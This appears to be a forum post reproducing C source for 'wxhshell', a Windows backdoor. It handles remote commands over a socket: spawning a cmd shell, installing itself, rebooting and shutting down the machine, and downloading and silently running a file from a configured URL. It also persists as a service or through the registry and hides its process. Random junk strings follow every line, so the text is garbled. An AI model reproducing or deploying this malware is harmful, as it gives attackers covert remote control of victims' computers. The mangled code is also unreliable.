  // 帮助 v%s`~~u%^  
  case '?': { (''M{n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~YRDyQ:%T  
    break; r]l!WRn  
  } aP8H`^DFX>  
  // 安装 pSr{>;bN  
  case 'i': { l#H#+*F  
    if(Install()) ]) rrG/3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l-s!A(l  
    else %_{tzXim  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *IY*yR6  
    break; *WIj4G.d  
    } sZL#xZ5 Df  
  // 卸载 _',prZ*  
  case 'r': { rZfN+S,g  
    if(Uninstall()) lI-L` x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lv'D^'I  
    else 6C]1Q.f;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u9}1)9  
    break; B]Y}Hu  
    } j^;I3_P  
  // 显示 wxhshell 所在路径 jGEt+\"/QJ  
  case 'p': { lmxr oHE  
    char svExeFile[MAX_PATH]; -t2+|J*  
    strcpy(svExeFile,"\n\r"); -#2)?NkeE  
      strcat(svExeFile,ExeFile); @:U+9[  
        send(wsh,svExeFile,strlen(svExeFile),0); YE=q:Bv  
    break; @ W^| ?  
    } P  '>SmQ  
  // 重启 $T`<Qq-r  
  case 'b': { )Lwc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4 &_NJ\  
    if(Boot(REBOOT)) kIGbG;"_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9P~\Mpk  
    else { +H9>A0JF  
    closesocket(wsh); "ajjJ"x A  
    ExitThread(0); pDh{Z g6t  
    } -|Y(V5]  
    break; BVr0Gk  
    } GW$.lo1|)  
  // 关机 +[ R/=$  
  case 'd': { 3$m4q`J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VA9Gb 9  
    if(Boot(SHUTDOWN)) %_(H{y_!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m^H21P"z  
    else { F6K4#t+9  
    closesocket(wsh); qnoNT%xazo  
    ExitThread(0); {.De4]ANh  
    } CMCO}#  
    break; |R56ho5C  
    } r4QxoaM  
  // 获取shell A%^w^f  
  case 's': { XvE9 b5}  
    CmdShell(wsh); QR Ei7@t  
    closesocket(wsh); t\ 7~S&z  
    ExitThread(0); g+ MdHn[  
    break; ]6{*^4kX  
  } W3;#fa:[L  
  // 退出 |6(ZD^w  
  case 'x': { B"v.* %"&/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KGWyJ  
    CloseIt(wsh); 9(L)&S{4K  
    break; `8I&7c  
    } g=]u^&  
  // 离开  k0  
  case 'q': { X*,%&6O*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sL@U  
    closesocket(wsh); KLL;e/Gf  
    WSACleanup(); V h k _  
    exit(1); Tzn tO9P+  
    break; 0%Z]h?EYy|  
        } u&9 r2R959  
  } ]\xy\\b/`  
  } ]_8qn'7  
DZv=\<$,LF  
  // 提示信息 [ e8x&{L-_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |<Gl91  
} ]Z oD'-,  
  } .p=sBLp8  
*0}3t <5  
  return; ^kgBa27  
} .-IkL |M  
}4{fQ`HT  
// shell模块句柄 (&P9+Tl  
int CmdShell(SOCKET sock) 0q*r  
{ 1 I*7SkgKv  
STARTUPINFO si; z9p05NFH  
ZeroMemory(&si,sizeof(si)); 3 HIz9F(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Da v PYg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d5>H3D{49  
PROCESS_INFORMATION ProcessInfo; (C\hVy2X?N  
char cmdline[]="cmd"; jC3Vbm&ZZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u@.>Z{h  
  return 0; aj"M>zd*}  
} \2(SB  
ZWm8*}3]7_  
// 自身启动模式 !TP@- X;  
int StartFromService(void) yY&3p1AxW]  
{ R-RDT9&<  
typedef struct :mS# h@l  
{ ` AkIK*  
  DWORD ExitStatus; NO0"*c;  
  DWORD PebBaseAddress; 9XHz-+bQ  
  DWORD AffinityMask; Mze;k3  
  DWORD BasePriority; sz9G3artK&  
  ULONG UniqueProcessId; <97d[/7i  
  ULONG InheritedFromUniqueProcessId; :KKa4=5L  
}   PROCESS_BASIC_INFORMATION; 3 AHY|  
|hO~X~P  
PROCNTQSIP NtQueryInformationProcess; sT/c_^y  
u1~9{"P*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %\kOLE2`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &tZG @  
[Cb` {  
  HANDLE             hProcess; 7-~Q5Kr.  
  PROCESS_BASIC_INFORMATION pbi; .iQT5c  
-\y-qHgb/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'Vr$MaO  
  if(NULL == hInst ) return 0; o d7]tOK9  
e.*%K!(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cDoo*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $%%os6y2v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +e-,ST&w(  
e|rg;`AW  
  if (!NtQueryInformationProcess) return 0; g!`3{ /4  
AWjm~D-?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oM)h#8bq  
  if(!hProcess) return 0; bO;(bE m@  
yg2uC(2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "GQl~  
3-%Cw2ds  
  CloseHandle(hProcess); Y];Ycj;  
qTB$`f'|$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HJC(\\~  
if(hProcess==NULL) return 0; i,nm`Z>u  
4#(ZNP  
HMODULE hMod; 9~0^PzTA  
char procName[255]; ;ml 3  
unsigned long cbNeeded; `T2$4>!  
#$1og=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kip`Myw+  
W{5:'9,  
  CloseHandle(hProcess); @<@SMK)  
#-Z8Z i"44  
if(strstr(procName,"services")) return 1; // 以服务启动 ?,=f\Fz!  
ycJg%]F*5  
  return 0; // 注册表启动 tj*y)28-  
} /?6gdN  
M0' a9.d  
// 主模块 E_1="&p  
int StartWxhshell(LPSTR lpCmdLine) TS"D]Txs  
{ EQe5JFR  
  SOCKET wsl; E"|4Y(G  
BOOL val=TRUE; GI7=x h  
  int port=0; '>k{tPi.  
  struct sockaddr_in door; Dw2Q 'E  
\@~UDP]7  
  if(wscfg.ws_autoins) Install(); (5 <^p&  
==H$zmK  
port=atoi(lpCmdLine); ZCVl5R(mZ  
M|[ZpM+  
if(port<=0) port=wscfg.ws_port; W><dYy=z5  
+-a&2J;J'  
  WSADATA data; ,SScf98,j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u=&Bmn_  
}K(o9$V ^!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -/D|]qqHm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 46h@j>/K  
  door.sin_family = AF_INET; _Hd{sd#xX1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vU*x2fVb}  
  door.sin_port = htons(port); W"Jn(:&  
-#29xRPk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w# * 1/N  
closesocket(wsl); %@R~DBS  
return 1; XMRNuEU  
} Z?^"\u-  
@ 2_<,;$  
  if(listen(wsl,2) == INVALID_SOCKET) { aj ~bt-cE  
closesocket(wsl); ]bgY6@M  
return 1; #*c F8NV-  
} 'ZQWYr9R  
  Wxhshell(wsl); tVqmn  
  WSACleanup(); X8<2L 2:  
#)`A7 $/,  
return 0; 6<5Jq\-h  
&,i~cG?  
} oh#> 5cA8  
&kQ!KA28  
// 以NT服务方式启动 d'l$$%zJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Iia.k'N  
{ `!G7k  
DWORD   status = 0; ^ie^VY($  
  DWORD   specificError = 0xfffffff; A%vsno!  
AaN"7.Z/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ae?e 70bY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PK&2h,Cu+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0m+8P$)C%  
  serviceStatus.dwWin32ExitCode     = 0; i_F$&?)  
  serviceStatus.dwServiceSpecificExitCode = 0; 1Xyp/X2rI  
  serviceStatus.dwCheckPoint       = 0; |z^pL1Z]5  
  serviceStatus.dwWaitHint       = 0; # 4|9Fj??  
xq!IbVV/h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (_9|w|(  
  if (hServiceStatusHandle==0) return; =!ac7i\F  
f]d!hz!  
status = GetLastError(); Jbp5'e _  
  if (status!=NO_ERROR) E=/[s]@5  
{ C;a@Jjor'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >Jm"2U}lZW  
    serviceStatus.dwCheckPoint       = 0; 4?/7 bc  
    serviceStatus.dwWaitHint       = 0; cCxi{a1uo  
    serviceStatus.dwWin32ExitCode     = status; >]}yXg=QK+  
    serviceStatus.dwServiceSpecificExitCode = specificError; +#]|)V Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EX?h0Uy  
    return; }r2[!gGd%|  
  } Y5-kj,CB  
sIm#_+Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I}v]Zm9  
  serviceStatus.dwCheckPoint       = 0; HP a|uDVv  
  serviceStatus.dwWaitHint       = 0; 9DEh*%q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jxy1  
} 3ViM ?p  
5#_tE<uM  
// 处理NT服务事件,比如:启动、停止 k|O,1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H2Eb\v`#  
{ gKL1c{BV  
switch(fdwControl) [xpQH?  
{ M^H90GN)X  
case SERVICE_CONTROL_STOP: 3:|-#F*k{  
  serviceStatus.dwWin32ExitCode = 0; ]@SU4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]0D9N"  
  serviceStatus.dwCheckPoint   = 0; u fw cF*  
  serviceStatus.dwWaitHint     = 0; w{'2q^>6*  
  { 2z98 3^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '@:[axu  
  } {rPk3  
  return; d.pp3D 9/  
case SERVICE_CONTROL_PAUSE: Q @2(aR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :HW>9nD.  
  break; WF/l7u#4i  
case SERVICE_CONTROL_CONTINUE: kUHie   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C(,=[Fi-  
  break; jX|=n.#q  
case SERVICE_CONTROL_INTERROGATE: Q#WE|,a  
  break; Sl.o,W^  
}; Ko}2%4on  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :pd&dg!5  
} Bp0bY9xLg_  
<lOaor c  
// 标准应用程序主函数 (^H5EeGV{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m1e b8yX  
{ 9bn2UiJ k  
;,0lUcV  
// 获取操作系统版本 \n@V-b  
OsIsNt=GetOsVer(); aqfL0Rg+`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b~W)S/wF$P  
8^w/HCC8O  
  // 从命令行安装 \|Qb[{<:,  
  if(strpbrk(lpCmdLine,"iI")) Install(); p^8 JLC  
] C,1%(  
  // 下载执行文件 6wpU6NU  
if(wscfg.ws_downexe) { b}%g}L D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M5Wl3tZL  
  WinExec(wscfg.ws_filenam,SW_HIDE); =hcPTU-QU  
} CT}' ")Bm  
u)7 ]1e{  
if(!OsIsNt) { baIbf@t/  
// 如果时win9x,隐藏进程并且设置为注册表启动 l<2oklo5  
HideProc(); pb$fb  
StartWxhshell(lpCmdLine); $WNG07]tU  
} m;h<"]<  
else 6{7 3p@  
  if(StartFromService()) ycjJbL(.  
  // 以服务方式启动 B+Q+0tw*i  
  StartServiceCtrlDispatcher(DispatchTable); XTj73 MWY  
else !~d'{sy6  
  // 普通方式启动 Yzd2G,kZ=  
  StartWxhshell(lpCmdLine); Y*\6o7  
=yh3Nd:u  
return 0; ( 2zeG`  
}
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只看该作者 1 发表于: 2006-10-10
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